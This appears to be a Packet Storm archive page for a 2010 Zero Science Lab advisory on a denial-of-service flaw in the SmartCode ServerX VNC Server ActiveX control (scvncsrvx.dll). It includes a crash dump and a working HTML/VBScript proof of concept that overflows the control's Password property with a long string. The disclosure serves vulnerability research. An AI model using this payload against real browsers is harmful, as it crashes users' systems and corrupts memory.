what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SmartCode ServerX VNC Server 1.1.5.0 Denial Of Service

SmartCode ServerX VNC Server 1.1.5.0 Denial Of Service
Posted Aug 13, 2010
Authored by LiquidWorm | Site zeroscience.mk

SmartCode ServerX VNC Server Active-X version 1.1.5.0 suffers from a denial of service vulnerability in scvncsrvx.dll.

tags | exploit, denial of service, activex
SHA-256 | b7b28563723da38901481e1b6eb926086c2a9be731100ece4948f14243ae3599

SmartCode ServerX VNC Server 1.1.5.0 Denial Of Service

Change Mirror Download


Title: SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit


Vendor: SmartCode Solutions
Product Web Page: htt://www.s-code.com
Version Tested: 1.1.5.0

Summary: SmartCode ServerX VNC Server control is a VNC server implemented as an
ActiveX component, which makes it extremely easy for you to integrate VNC support
into your Web or desktop applications. In the simplest scenario, you would add the
ServerX ActiveX component to your project, place the ServerX instance in a form,
and modify the ActiveX properties if desired. That's it - you just created an
application with a VNC Server embedded in it.

Desc: The vulnerability exist in the CSC_ServerXControl class with all its members.
When parsing overly long string while listening for incoming connection the application
crashes along with IE, corrupting the memory.

--

(26d8.25bc): C++ EH exception - code e06d7363 (first chance)
CSC_ServerXControl::FinalRelease
eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97b120 esi=7c90de50 edi=00000000
eip=7c90e4f4 esp=0013fe5c ebp=0013ff58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
7c90e4f4 c3 ret

--

Tested On: Microsoft Windows XP Professional SP3 (EN)
Windows Internet Explorer 8.0.6001.18702

Zero Science Lab Advisory ID: ZSL-2010-4948
Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4948.php


Vulnerability Discovered By: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

13.08.2010



PoC:

<html>
<object classid='clsid:8818CF4D-2190-49C3-B7EB-B9F2AE198CB1' id='zsl' />
<script language='vbscript'>

dos=String(18212, "A")

zsl.Password = dos

</script>
</html>
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close